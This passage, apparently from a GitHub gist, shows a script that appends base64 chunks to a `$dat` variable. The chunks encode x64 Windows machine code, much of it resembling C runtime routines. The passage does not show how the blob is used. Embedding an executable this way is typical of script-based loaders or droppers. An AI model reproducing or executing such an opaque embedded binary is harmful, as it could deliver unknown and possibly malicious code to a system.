QAASYvRSI1MJDDo1Mf//0iLRCQ4gXgM6f0AAHUiTI0NfwwBAEyLxkiL10iLy+gFKQAASIvIg8j/hckPSMjrGUg5qDgBAAB1KkiF23QGD7YHZokDuQEAAABAOGwkSHQMSItEJDCDoKgDAAD9i8HpsgAAAA+2D0iNVCQ46GwoAACFwHRSSItMJDhEi0kIQYP5AX4vQTvxfCqLSQyLxUiF20yLx7oJAAAAD5XAiUQkKEiJXCQg6F/r//9Ii0wkOIXAdQ9IY0EISDvwcj5AOG8BdDiLSQjrg4vFQbkBAAAASIXbTIvHD5XAiUQkKEGNUQhIi0QkOEiJXCQgi0gM6Bfr//+FwA+FS////+hm0///g8n/xwAqAAAA6T3///9IiS2BCwEAM8BIi1wkYEiLbCRoSIt0JHBIg8RQX8PMzEUzyel4/v//QFNIg+wgSIsFKwsBAEiL2kg5AnQWi4G';
$dat += 'oAwAAhQXn9wAAdQjogAQAAEiJA0iDxCBbw8zMzEBTSIPsIEiLBb8EAQBIi9pIOQJ0FouBqAMAAIUFs/cAAHUI6Ozm//9IiQNIg8QgW8PMzMxIg+woSIXJdRXoutL//8cAFgAAAOiP0f//g8j/6wOLQRhIg8Qow8zMSIlcJAhIiXQkEEyJTCQgV0iD7DBJi/mLCuiizv//kEiNHYIKAQBIjTXT9AAASIlcJCBIjQV3CgEASDvYdBlIOTN0DkiL1kiLy+g6BAAASIkDSIPDCOvWiw/ots7//0iLXCRASIt0JEhIg8QwX8PMzLgBAAAAhwVdCgEAw0yL3EiD7Ci4BAAAAE2NSxBNjUMIiUQkOEmNUxiJRCRASY1LCOhb////SIPEKMPMzEiD7CjoG8v//0iNVCQwSIuIkAAAAEiJTCQwSIvI6KL+//9Ii0QkMEiLAEiDxCjDzIsF+gkBAMPM8P9BEEiLgeAAAABIhcB0A/D/AEiLgfAAAABIhcB0A/D/AEiLgegAAABIhcB0A/D/AEiLgQABAABIhcB0A/D/AEiNQThBuAYAAABIjRUz9QAASDlQ8HQLSIsQSIXSdAPw/wJIg3joAHQMSItQ+EiF0nQD8P8CSIPAIEmD6AF1y0iLiSABAADpeQEAAMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiLgfgAAABIi9lIhcB0eUiNDeb1AABIO8F0bUiLg+AAAABIhcB0YYM4AHVcSIuL8AAAAEiFyXQWgzkAdRHorsX//0iLi/gAAADoRicAAEiLi+gAAABIhcl0FoM5AHUR6IzF//9Ii4v4AAAA6DAoAABIi4vgAAAA6HTF//9Ii4v4AAAA6GjF//9Ii4MAAQAASIXAdEeDOAB1QkiLiwgBAABIgen+AAAA6ETF//9Ii4sQAQAAv4AAAABIK8/oMMX//0iLixgBAABIK8/oIcX//0iLiwABAADoFcX//0iLiyABAADopQAAAEiNsygBAAC9BgAAAEiNezhIjQXm8wAASDlH8HQaSIsPSIXJdBKDOQB1DejaxP//SIsO6NLE//9Ig3/oAHQTSItP+EiFyXQKgzkAdQXouMT//0iDxghIg8cgSIPtAXWxSIvLSItcJDBIi2wkOEiLdCRASIPEIF/pjsT//8zMSIXJdBxIjQWsaAAASDvIdBC4AQAAAPAPwYFcAQAA/8DDuP///3/DzEiFyXQwU0iD7CBIjQV/aAAASIvZSDvIdBeLgVwBAACFwHUN6LAnAABIi8voNMT//0iDxCBbw8zMSIXJdBpIjQVMaAAASDvIdA6DyP/wD8GBXAEAAP/Iw7j///9/w8zMzEiD7ChIhckPhJYAAABBg8n/8EQBSRBIi4HgAAAASIXAdATwRAEISIuB8AAAAEiFwHQE8EQBCEiLgegAAABIhcB0BPBEAQhIi4EAAQAASIXAdATwRAEISI1BOEG4BgAAAEiNFZHyAABIOVDwdAxIixBIhdJ0BPBEAQpIg3joAHQNSItQ+EiF0nQE8EQBCkiDwCBJg+gBdclIi4kgAQAA6DX///9Ig8Qow0iJXCQIV0iD7CDoqcf//0iNuJAAAACLiKgDAACLBT7zAACFyHQISIsfSIXbdSy5BAAAAOhwyv//kEiLFVAGAQBIi8/oKAAAAEiL2LkEAAAA6KfK//9Ihdt0DkiLw0iLXCQwSIPEIF/D6DPB//+QzMxIiVwkCFdIg+wgSIv6SIXSdEZIhcl0QUiLGUg72nUFSIvH6zZIiTlIi8/oLfz//0iF23TrSIvL6Kz+//+DexAAdd1IjQUv8AAASDvYdNFIi8vokvz//+vHM8BIi1wkMEiDxCBfw8zMzEFUQVVBVkiB7FAEAABIiwVk6gAASDPESImEJBAEAABNi+FNi/BMi+lIhcl1GkiF0nQV6HnN///HABYAAADoTsz//+k4AwAATYX2dOZNheR04UiD+gIPgiQDAABIiZwkSAQAAEiJ';
$dat += 'rCRABAAASIm0JDgEAABIibwkMAQAAEyJvCQoBAAATI16/00Pr/5MA/kzyUiJTCQgZmZmDx+EAAAAAAAz0kmLx0krxUn39kiNWAFIg/sID4eLAAAATTv9dmVLjTQuSYvdSIv+STv3dyAPHwBIi9NIi89Ji8T/FVFMAACFwEgPT99JA/5JO/92402LxkmL10k733QeSSvfDx9EAAAPtgIPtgwTiAQTiApIjVIBSYPoAXXqTSv+TTv9d6RIi0wkIEiD6QFIiUwkIA+IJQIAAEyLbMwwTIu8zCACAADpXP///0jR60mLzUkPr95Ji8RKjTQrSIvW/xXSSwAAhcB+KU2LzkyLxkw77nQeDx8AQQ+2AEmL0Egr0w+2CogCQYgISf/ASYPpAXXlSYvXSYvNSYvE/xWWSwAAhcB+Kk2LxkmL100773QfTYvNTSvPkA+2AkEPtgwRQYgEEYgKSI1SAUmD6AF16EmL10iLzkmLxP8VWUsAAIXAfi1Ni8ZJi9dJO/d0IkyLzk0rzw8fQAAPtgJBD7YMEUGIBBGICkiNUgFJg+gBdehJi91Ji/9mkEg783YdSQPeSDvecxVIi9ZIi8tJi8T/FQRLAACFwH7l6x5JA95JO993FkiL1kiLy0mLxP8V50oAAIXAfuUPHwBIi+9JK/5IO/52E0iL1kiLz0mLxP8VxkoAAIXAf+JIO/tyOE2LxkiL13QeTIvLTCvPD7YCQQ+2DBFBiAQRiApIjVIBSYPoAXXoSDv3SIvDSA9FxkiL8Oll////SDv1cyBJK+5IO+52GEiL1kiLzUmLxP8VaUoAAIXAdOXrHg8fAEkr7kk77XYTSIvWSIvNSYvE/xVJSgAAhcB05UmLz0iLxUgry0krxUg7wUiLTCQgfCtMO+1zFUyJbMwwSImszCACAABI/8FIiUwkIEk73w+D//3//0yL6+l0/f//STvfcxVIiVzMMEyJvMwgAgAASP/BSIlMJCBMO+0Pg9T9//9Mi/3pSf3//0iLvCQwBAAASIu0JDgEAABIi6wkQAQAAEiLnCRIBAAATIu8JCgEAABIi4wkEAQAAEgzzOgRjv//SIHEUAQAAEFeQV1BXMPMzMxIiVwkCFdIg+wgRTPSSYvYTIvaTYXJdSxIhcl1LEiF0nQU6OnJ//+7FgAAAIkY6L3I//9Ei9NIi1wkMEGLwkiDxCBfw0iFyXTZTYXbdNRNhcl1BUSIEeveSIXbdQVEiBHrwEgr2UiL0U2Lw';
$dat += '0mL+UmD+f91FIoEE4gCSP/ChMB0KEmD6AF17usgigQTiAJI/8KEwHQMSYPoAXQGSIPvAXXoSIX/dQNEiBJNhcB1iUmD+f91DkaIVBn/RY1QUOl1////RIgR6EfJ//+7IgAAAOlZ////zEiD7FhIiwX55QAASDPESIlEJEAzwEyLykiD+CBMi8Fzd8ZEBCAASP/ASIP4IHzwigLrHw+20EjB6gMPtsCD4AcPtkwUIA+rwUn/wYhMFCBBigGEwHXd6x9BD7bBugEAAABBD7bJg+EHSMHoA9PihFQEIHUfSf/ARYoIRYTJddkzwEiLTCRASDPM6J6M//9Ig8RYw0mLwOvp6BeR///MzMzMzMzMzMzMzMzMzMxIiVwkCEiJdCQQV0yL0kiNNTt1//9Bg+IPSIv6SSv6SIvaTIvBD1fbSY1C//MPbw9Ig/gOd3OLhIa8jQAASAPG/+BmD3PZAetgZg9z2QLrWWYPc9kD61JmD3PZBOtLZg9z2QXrRGYPc9kG6z1mD3PZB+s2Zg9z2QjrL2YPc9kJ6yhmD3PZCushZg9z2QvrGmYPc9kM6xNmD3PZDesMZg9z2Q7rBWYPc9kPD1fAQbkPAAAAZg90wWYP18CFwA+EMwEAAA+80E2F0nUGRY1Z8usURTPbi8K5EAAAAEkrykg7wUEPksNBi8ErwkE7wQ+HzwAAAIuMhviNAABIA87/4WYPc/kBZg9z2QHptAAAAGYPc/kCZg9z2QLppQAAAGYPc/kDZg9z2QPplgAAAGYPc/kEZg9z2QTphwAAAGYPc/kFZg9z2QXre2YPc/kGZg9z2Qbrb2YPc/kHZg9z2QfrY2YPc/kIZg9z2QjrV2YPc/kJZg9z2QnrS2YPc/kKZg9z2QrrP2YPc/kLZg9z2QvrM2YPc/kMZg9z2QzrJ2YPc/kNZg9z2Q3rG2YPc/kOZg9z2Q7rD2YPc/kPZg9z2Q/rAw9XyUWF2w+F5gAAAPMPb1cQZg9vwmYPdMNmD9fAhcB1NUiL00mLyEiLXCQQSIt0JBhf6V/9//9NhdJ10EQ4VwEPhKwAAABIi1wkEEiLdCQYX+lA/f//D7zIi8FJK8JIg8AQSIP4EHe5RCvJQYP5D3d5QouMjjiOAABIA87/4WYPc/oB62VmD3P6AuteZg9z+gPrV2YPc/oE61BmD3P6BetJZg9z+gbrQmYPc/oH6ztmD3P6COs0Zg9z+gnrLWYPc/oK6yZmD3P6C+sfZg9z+gzrGGYPc/oN6xFmD3P6DusKZg9z+g/rAw9X0mYP69FmD2/KQQ+2AITAdDQPH4QAAAAAAA++wGYPbsBmD2DAZg9gwGYPcMAAZg90wWYP18CFwHUaQQ+2QAFJ/8CEwHXUM8BIi1wkEEiLdCQYX8NIi1wkEEmLwEiLdCQYX8MPHwDyigAA+YoAAACLAAAHiwAADosAABWLAAAciwAAI4sAACqLAAAxiwAAOIsAAD+LAABGiwAATYsAAFSLAACuiwAAvYsAAMyLAADbiwAA6osAAPaLAAACjAAADowAABqMAAAmjAAAMowAAD6MAABKjAAAVowAAGKMAABujAAA7IwAAPOMAAD6jAAAAY0AAAiNAAAPjQAAFo0AAB2NAAAkjQAAK40AADKNAAA5jQAAQI0AAEeNAABOj';
$dat += 'QAAVY0AAEUzwOkAAAAASIlcJAhXSIPsQEiL2kiL+UiFyXUU6KbE///HABYAAADoe8P//zPA62BIhdt050g7+3PySYvQSI1MJCDo8Lf//0iLTCQwSI1T/4N5CAB0JEj/ykg7+ncKD7YC9kQIGQR17kiLy0grykiL04PhAUgr0Uj/yoB8JDgAdAxIi0wkIIOhqAMAAP1Ii8JIi1wkUEiDxEBfw0BVQVRBVUFWQVdIg+xgSI1sJDBIiV1gSIl1aEiJfXBIiwXO4AAASDPFSIlFIESL6kWL+UiL0U2L4EiNTQDoWrf//4u9iAAAAIX/dQdIi0UIi3gM952QAAAARYvPTYvEi88b0oNkJCgASINkJCAAg+II/8LoWNv//0xj8IXAdQcz/+nOAAAASYv2SAP2SI1GEEg78EgbyUgjyHRTSIH5AAQAAHcxSI1BD0g7wXcKSLjw////////D0iD4PDoHDMAAEgr4EiNXCQwSIXbdG/HA8zMAADrE+hmuP//SIvYSIXAdA7HAN3dAABIg8MQ6wIz20iF23RHTIvGM9JIi8voypj//0WLz0SJdCQoTYvESIlcJCC6AQAAAIvP6LLa//+FwHQaTIuNgAAAAESLwEiL00GLzf8VxD8AAIv46wIz/0iF23QRSI1L8IE53d0AAHUF6Ky3//+AfRgAdAtIi0UAg6CoAwAA/YvHSItNIEgzzeiphv//SItdYEiLdWhIi31wSI1lMEFfQV5BXUFcXcPMzMxAVUFUQVVBVkFXSIPsYEiNbCRQSIldQEiJdUhIiX1QSIsFPt8AAEgzxUiJRQhIY11gTYv5SIlVAEWL6EiL+YXbfhRIi9NJi8nonxsAADvDjVgBfAKL2ESLdXhFhfZ1B0iLB0SLcAz3nYAAAABEi8tNi8dBi84b0oNkJCgASINkJCAAg+II/8LotNn//0xj4IXAD4Q2AgAASYvESbjw////////D0gDwEiNSBBIO8FIG9JII9F0U0iB+gAEAAB3LkiNQg9IO8J3A0mLwEiD4PDoeDEAAEgr4EiNdCRQSIX2D4TOAQAAxwbMzAAA6xZIi8rou7b//0iL8EiFwHQOxwDd3QAASIPGEOsCM/ZIhfYPhJ8BAABEiWQkKESLy02Lx0iJdCQgugEAAABBi87oD9n//4XAD4R6AQAASINkJEAARYvMSINkJDgATIv';
$dat += 'GSINkJDAAQYvVTIt9AINkJCgASYvPSINkJCAA6HHf//9IY/iFwA+EPQEAALoABAAARIXqdFKLRXCFwA+EKgEAADv4D48gAQAASINkJEAARYvMSINkJDgATIvGSINkJDAAQYvViUQkKEmLz0iLRWhIiUQkIOgZ3///i/iFwA+F6AAAAOnhAAAASIvPSAPJSI1BEEg7yEgbyUgjyHRTSDvKdzVIjUEPSDvBdwpIuPD///////8PSIPg8OhEMAAASCvgSI1cJFBIhdsPhJoAAADHA8zMAADrE+iKtf//SIvYSIXAdA7HAN3dAABIg8MQ6wIz20iF23RySINkJEAARYvMSINkJDgATIvGSINkJDAAQYvViXwkKEmLz0iJXCQg6G/e//+FwHQxSINkJDgAM9JIIVQkMESLz4tFcEyLw0GLzoXAdWUhVCQoSCFUJCDoANj//4v4hcB1YEiNS/CBOd3dAAB1Bei9tP//M/9IhfZ0EUiNTvCBOd3dAAB1BeiltP//i8dIi00ISDPN6LOD//9Ii11ASIt1SEiLfVBIjWUQQV9BXkFdQVxdw4lEJChIi0VoSIlEJCDrlUiNS/CBOd3dAAB1p+hdtP//66DMzMxIiVwkCEiJdCQQV0iD7HBIi/JJi9lIi9FBi/hIjUwkUOjPsv//i4QkwAAAAEiNTCRYiUQkQEyLy4uEJLgAAABEi8eJRCQ4SIvWi4QksAAAAIlEJDBIi4QkqAAAAEiJRCQoi4QkoAAAAIlEJCDod/z//4B8JGgAdAxIi0wkUIOhqAMAAP1MjVwkcEmLWxBJi3MYSYvjX8PMzEiD7Cjom9L//zPJhMAPlMGLwUiDxCjDzEiD7ChIhcl1GejGvv//xwAWAAAA6Ju9//9Ig8j/SIPEKMNMi8Ez0kiLDWbyAABIg8QoSP8lYzsAAMzMzEiJXCQIV0iD7CBIi9pIi/lIhcl1CkiLyuiPs///6x9Ihdt1B+hDs///6xFIg/vgdi3oYr7//8cADAAAADPASItcJDBIg8QgX8Pohuz//4XAdN9Ii8vohuH//4XAdNNIiw3z8QAATIvLTIvHM9L/Ff08AABIhcB00evEzMxIiVwkCEiJbCQQSIl0JBhXQVZBV0iD7CBMi/FIhcl0dDPbTI09s2r//7/jAAAAjQQfQbhVAAAAmUmLzivC0fhIY+hIi9VIi/VIA9JJi5TXIBMBAOgsFwAAhcB0E3kFjX3/6wONXQE7337Eg8j/6wtIA/ZBi4T3KBMBAIXAeBY95AAAAHMPSJhIA8BBi4THwPgAAOsCM8BIi1wkQEiLbCRISIt0JFBIg8QgQV9BXl/DzEiJXCQISIlsJBBIiXQkGFdIg+wgukgAAACNSvjoa73//z';
$dat += 'P2SIvYSIXAdFtIjagAEgAASDvFdExIjXgwSI1P0EUzwLqgDwAA6Pza//9Ig0/4/0iNTw6AZw34i8ZIiTfHRwgAAAoKxkcMCkCIMf/ASP/Bg/gFcvNIg8dISI1H0Eg7xXW4SIvzM8nos7H//0iLXCQwSIvGSIt0JEBIi2wkOEiDxCBfw8zMzEiFyXRKSIlcJAhIiXQkEFdIg+wgSI2xABIAAEiL2UiL+Ug7znQSSIvP/xWdOgAASIPHSEg7/nXuSIvL6Fix//9Ii1wkMEiLdCQ4SIPEIF/DSIlcJAhIiXQkEEiJfCQYQVdIg+wwi/GB+QAgAAByKehQvP//uwkAAACJGOgku///i8NIi1wkQEiLdCRISIt8JFBIg8QwQV/DM/+NTwfoQrj//5CL34sF6fMAAEiJXCQgO/B8NkyNPdnvAABJOTzfdALrIuiQ/v//SYkE30iFwHUFjXgM6xSLBbjzAACDwECJBa/zAABI/8PrwbkHAAAA6ES4//+Lx+uKSGPRTI0Fku8AAEiLwoPiP0jB+AZIjQzSSYsEwEiNDMhI/yWdOQAAzEhj0UyNBWrvAABIi8KD4j9IwfgGSI0M0kmLBMBIjQzISP8lfTkAAMxIiVwkCEiJdCQQSIl8JBhBVkiD7CBIY9mFyXhyOx0q8wAAc2pIi8NMjTUe7wAAg+A/SIvzSMH+BkiNPMBJiwT29kT4OAF0R0iDfPgo/3Q/6NwUAACD+AF1J4XbdBYr2HQLO9h1G7n0////6wy59f///+sFufb///8z0v8VdDgAAEmLBPZIg0z4KP8zwOsW6Om6///HAAkAAADovrr//4MgAIPI/0iLXCQwSIt0JDhIi3wkQEiDxCBBXsPMzEiD7CiD+f51FeiSuv//gyAA6Kq6///HAAkAAADrToXJeDI7DWjyAABzKkhjyUyNBVzuAABIi8GD4T9IwfgGSI0UyUmLBMD2RNA4AXQHSItE0CjrHOhHuv//gyAA6F+6///HAAkAAADoNLn//0iDyP9Ig8Qow8zMzEiJXCQITIlMJCBXSIPsIEmL+UmL2IsK6GD+//+QSIsDSGMISIvRSIvBSMH4BkyNBeTtAACD4j9IjRTSSYsEwPZE0DgBdCToPf///0iLyP8VZDcAADPbhcB1HujJuf//SIvY/xXQNgAAiQPo2bn//8cACQAAAIPL/4sP6CX+//+Lw0iLXCQwSIPEIF/DiUwkCEiD7DhIY9GD+v51Deinuf//xwAJAAAA62yFyXhYOxVl8QAAc1BIi8pMjQVZ7QAAg+E/SIvCSMH4BkiNDMlJiwTA9kTIOAF0LUiNRCRAiVQkUIlUJFhMjUwkUEiNVCRYSIlEJCBMjUQkIEiNTCRI6P3+///rE+g';
$dat += '+uf//xwAJAAAA6BO4//+DyP9Ig8Q4w8zMzEiJXCQIVVZXQVRBVUFWQVdIjWwk2UiB7AABAABIiwXN1QAASDPESIlFF0hj8k2L+EiLxkiJTfdIiUXvSI0NpmX//4PgP0WL6U0D6EyJRd9Mi+ZMiW2vScH8BkyNNMBKi4ThEIcBAEqLRPAoSIlFt/8VEzYAADPSSI1MJFCJRafoFKz//0iLTCRYRTPbRIldl0GL24ldm0mL/4tRDEGLy4lMJECJVatNO/0Pg+IDAABIi8ZJi/dIwfgGSIlF54oPQb8BAAAAiEwkRESJXCRIgfrp/QAAD4VwAQAATI09B2X//0GL002LjMcQhwEASYvzS40E8UQ4XDA+dAv/wkj/xkiD/gV87kiF9g+O4AAAAEuLhOcQhwEATItFr0wrx0IPtkzwPkYPvrw5wHgBAEH/x0WL70Qr6k1j1U070A+PeAIAAEiNRf9Ji9NMK8hPjQTxSI1N/0gDykj/wkKKRAE+iAFIO9Z86kWF7X4VSI1N/02LwkgDzkiL1+iskf//RTPbSYvTTI0FX2T//0uLjOAQhwEASAPKSP/CRohc8T5IO9Z86EiNRf9MiV2/SIlFx0yNTb9Bi8NIjVXHQYP/BEiNTCRID5TA/8BEi8BEi/joVwwAAEiD+P8PhNcAAABBjUX/TIttr0hj8EgD9+nmAAAAD7YHSYvVSCvXSg++tDjAeAEAjU4BSGPBSDvCD4/kAQAAg/kETIldz0GLw0iJfdcPlMBMjU3P/8BIjVXXRIvASI1MJEiL2OjvCwAASIP4/3RzSAP3RIv76YoAAABIjQWXY///SouU4BCHAQBCikzyPfbBBHQbQopE8j6A4fuIRQeKB0KITPI9SI1VB4hFCOsf6LHk//8Ptg8z0mY5FEh9LUj/xkk79Q+DsgEAAEiL10G4AgAAAEiNTCRI6EPj//+D+P91IoB9jwDpiwEAAE2Lx0iNTCRISIvX6CXj//+D+P8PhK8BAACLTadIjUUPM9tMjUQkSEiJXCQ4SI1+AUiJXCQwRYvPx0QkKAUAAAAz0kiJRCQg6CHO//+L8IXAD4TSAQAASItNt0yNTCRMRIvASIlcJCBIjVUP/xVkMwAARTPbhcAPhKMBAABEi3wkQIvfK13fQQPfiV2bOXQkTA+C8QAAAIB8JEQKdUlIi023QY1DDUyNTCRMZolEJERFjUMBTIlcJCBIjVQkRP8VEjMAAEUz24XAD4TxAAAAg3wkTAEPgq4AAABB/8f/w0SJfCRAiV2bSIv3STv9D4PgAAAASItF54tVq+kE/f//QYvTTYXAfi1IK/5IjR0';
$dat += 'dYv//igQ3/8JKi4zjEIcBAEgDzkj/xkKIRPE+SGPCSTvAfOCLXZtBA9jrTEWLy0iF0n5CTItt702Lw02L1UGD5T9JwfoGTo0c7QAAAABNA91BigQ4Qf/BS4uM1xCHAQBJA8hJ/8BCiETZPkljwUg7wnzeRTPbA9qJXZtEOF2Pi0wkQOtJigdMjQWTYf//S4uM4BCHAQD/w4ldm0KIRPE+S4uE4BCHAQBCgEzwPQQ4VY/rzP8VmDEAAIlFl4tMJECAfY8A6wiLTCRARDhdj3QMSItEJFCDoKgDAAD9SItF9/IPEEWX8g8RAIlICEiLTRdIM8zoWXj//0iLnCRAAQAASIHEAAEAAEFfQV5BXUFcX15dw/8VODEAAIlFl4tMJEA4XY/rqUiJXCQISIlsJBhWV0FWuFAUAADo1CMAAEgr4EiLBeLQAABIM8RIiYQkQBQAAExj0kiL+UmLwkGL6UjB+AZIjQ3I5wAAQYPiP0kD6EmL8EiLBMFLjRTSTIt00CgzwEiJB4lHCEw7xXNvSI1cJEBIO/VzJIoGSP/GPAp1Cf9HCMYDDUj/w4gDSP/DSI2EJD8UAABIO9hy10iDZCQgAEiNRCRAK9hMjUwkMESLw0iNVCRASYvO/xXrMAAAhcB0EotEJDABRwQ7w3IPSDv1cpvrCP8VVzAAAIkHSIvHSIuMJEAUAABIM8zoQnf//0yNnCRQFAAASYtbIEmLazBJi+NBXl9ew8zMSIlcJAhIiWwkGFZXQVa4UBQAAOjQIgAASCvgSIsF3s8AAEgzxEiJhCRAFAAATGPSSIv5SYvCQYvpSMH4BkiNDcTmAABBg+I/SQPoSYvwSIsEwUuNFNJMi3TQKDPASIkHiUcITDvFD4OCAAAASI1cJEBIO/VzMQ+3BkiDxgJmg/gKdRCDRwgCuQ0AAABmiQtIg8MCZokDSIPDAkiNhCQ+FAAASDvYcspIg2QkIABIjUQkQEgr2EyNTCQwSNH7SI1UJEAD20mLzkSLw/8V0C8AAIXAdBKLRCQwAUcEO8NyD0g79XKI6wj/FTwvAACJB0iLx0iLjCRAFAAASDPM6Cd2//9MjZwkUBQAAEmLWyBJi2swSYvjQV5fXsPMzMxIiVwkCEiJbCQYV';
$dat += 'ldBVEFWQVe4cBQAAOiwIQAASCvgSIsFvs4AAEgzxEiJhCRgFAAATGPSSIvZSYvCRYvxSMH4BkiNDaTlAABBg+I/TQPwTYv4SYv4SIsEwUuNFNJMi2TQKDPASIkDTTvGiUMID4POAAAASI1EJFBJO/5zLQ+3D0iDxwJmg/kKdQy6DQAAAGaJEEiDwAJmiQhIg8ACSI2MJPgGAABIO8FyzkiDZCQ4AEiNTCRQSINkJDAATI1EJFBIK8HHRCQoVQ0AAEiNjCQABwAASNH4SIlMJCBEi8i56f0AADPS6DLJ//+L6IXAdEkz9oXAdDNIg2QkIABIjZQkAAcAAIvOTI1MJEBEi8VIA9FJi8xEK8b/FWcuAACFwHQYA3QkQDv1cs2Lx0Erx4lDBEk7/uk0/////xXNLQAAiQNIi8NIi4wkYBQAAEgzzOi4dP//TI2cJHAUAABJi1swSYtrQEmL40FfQV5BXF9ew0iJXCQQSIl0JBiJTCQIV0FUQVVBVkFXSIPsIEWL8EyL+khj2YP7/nUY6F6w//+DIADodrD//8cACQAAAOmPAAAAhcl4czsdMegAAHNrSIvDSIvzSMH+BkyNLR7kAACD4D9MjSTASYtE9QBC9kTgOAF0RovL6Gf0//+Dz/9Ji0T1AEL2ROA4AXUV6B6w///HAAkAAADo86///4MgAOsPRYvGSYvXi8voQQAAAIv4i8voVPT//4vH6xvoz6///4MgAOjnr///xwAJAAAA6Lyu//+DyP9Ii1wkWEiLdCRgSIPEIEFfQV5BXUFcX8PMSIlcJCBVVldBVEFVQVZBV0iL7EiD7GAz20WL8Exj4UiL+kWFwA+EngIAAEiF0nUf6Guv//+JGOiEr///xwAWAAAA6Fmu//+DyP/pfAIAAEmLxEiNDTfjAACD4D9Ni+xJwf0GTI08wEqLDOlCD750+TmNRv88AXcJQYvG99CoAXSvQvZE+TggdA4z0kGLzESNQgLogQkAAEGLzEiJXeDoNQMAAIXAD4QLAQAASI0F3uIAAEqLBOhCOFz4OA+N9QAAAOgqqP//SIuIkAAAAEg5mTgBAAB1FkiNBbPiAABKiwToQjhc+DkPhMoAAABIjQWd4gAASosM6EiNVfBKi0z5KP8VEiwAAIXAD4SoAAAAQIT2D4SBAAAAQP7OQID+AQ+HLgEAAE6NJDdIiV3QTIv3STv8D4MQAQAAi3XUQQ+3Bg+3yGaJRfDo1QgAAA+3TfBmO8F1NoPGAol11GaD+Qp1G7kNAAAA6LYIAAC5DQAAAGY7wXUW/8aJddT/w0mDxgJNO/QPg8AAAADrsf8VICsAAIlF0OmwAAAARYvOSI1N0EyLx0GL1Oju9P//8g8QAItYCOmXAAAASI0F0+EAAEqLDOhCOFz5OH1Ni85AhPZ0MoPpAXQZg/kBdXlFi85IjU3QTIvHQYvU6J36///rvUWLz';
$dat += 'kiNTdBMi8dBi9Topfv//+upRYvOSI1N0EyLx0GL1Ohx+f//65VKi0z5KEyNTdQzwEWLxkghRCQgSIvXSIlF0IlF2P8V8CoAAIXAdQn/FW4qAACJRdCLXdjyDxBF0PIPEUXgSItF4EjB6CCFwHVki0XghcB0LYP4BXUb6FGt///HAAkAAADoJq3//8cABQAAAOnC/f//i03g6MOs///ptf3//0iNBffgAABKiwToQvZE+DhAdAWAPxp0H+gRrf//xwAcAAAA6Oas//+DIADphf3//4tF5CvD6wIzwEiLnCS4AAAASIPEYEFfQV5BXUFcX15dw8xIiVwkCFdIg+wwg2QkIAC5CAAAAOjjqP//kLsDAAAAiVwkJDsdw+QAAHRtSGP7SIsFv+QAAEiLDPhIhcl1AutUi0EUwegNqAF0GUiLDaPkAABIiwz56KIHAACD+P90BP9EJCBIiwWK5AAASIsM+EiDwTD/FWwqAABIiw115AAASIsM+egoof//SIsFZeQAAEiDJPgA/8Prh7kIAAAA6K6o//+LRCQgSItcJEBIg8QwX8PMzMxAU0iD7CCLQRRIi9nB6A2oAXQni0EUwegGqAF0HUiLSQjo1qD///CBYxS//v//M8BIiUMISIkDiUMQSIPEIFvDSIPsKIP5/nUN6Nqr///HAAkAAADrQoXJeC47DZjjAABzJkhjyUiNFYzfAABIi8GD4T9IwfgGSI0MyUiLBMIPtkTIOIPgQOsS6Jur///HAAkAAADocKr//zPASIPEKMPMQFNIg+xASGPZSI1MJCDo5Z7//41DAT0AAQAAdxNIi0QkKEiLCA+3BFklAIAAAOsCM8CAfCQ4AHQMSItMJCCDoagDAAD9SIPEQFvDzEBTSIPsMEiL2UiNTCQg6K0GAABIg/gEdxqLVCQguf3/AACB+v//AAAPR9FIhdt0A2aJE0iDxDBbw8zMzEiJXCQQSIlsJBhXQVRBVUFWQVdIg+wgSIs6RTPtTYvhSYvoTIvyTIv5SIXJD4TuAAAASIvZTYXAD4ShAAAARDgvdQhBuAEAAADrHUQ4bwF1CEG4AgAAAOsPikcC9thNG8BJ99hJg8ADTYvMSI1MJFBIi9foDAYAAEiL0EiD+P90dUiFwHRni0wkUIH5//8AAHY5SIP9AXZHgcEAAP//QbgA2AAAi8GJTCRQwegKSP/NZkELwGaJA7j/AwAAZiPISIPDArgA3AAAZgvIZokLSAP6SIPDAkiD7QEPhV////9JK99JiT5I0ftIi8PrG0mL/WZEiSvr6UmJPugCqv//xwAqAAAASIPI/0iLXCRYSItsJGBIg8QgQV9BXkFdQVxfw0mL3UQ4L3UIQbgBAAAA6x1EOG8BdQhBuAIAAADrD4pHAvbYTRvASffYSYPAA02LzEiL1zPJ6CoFAABIg/j/
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment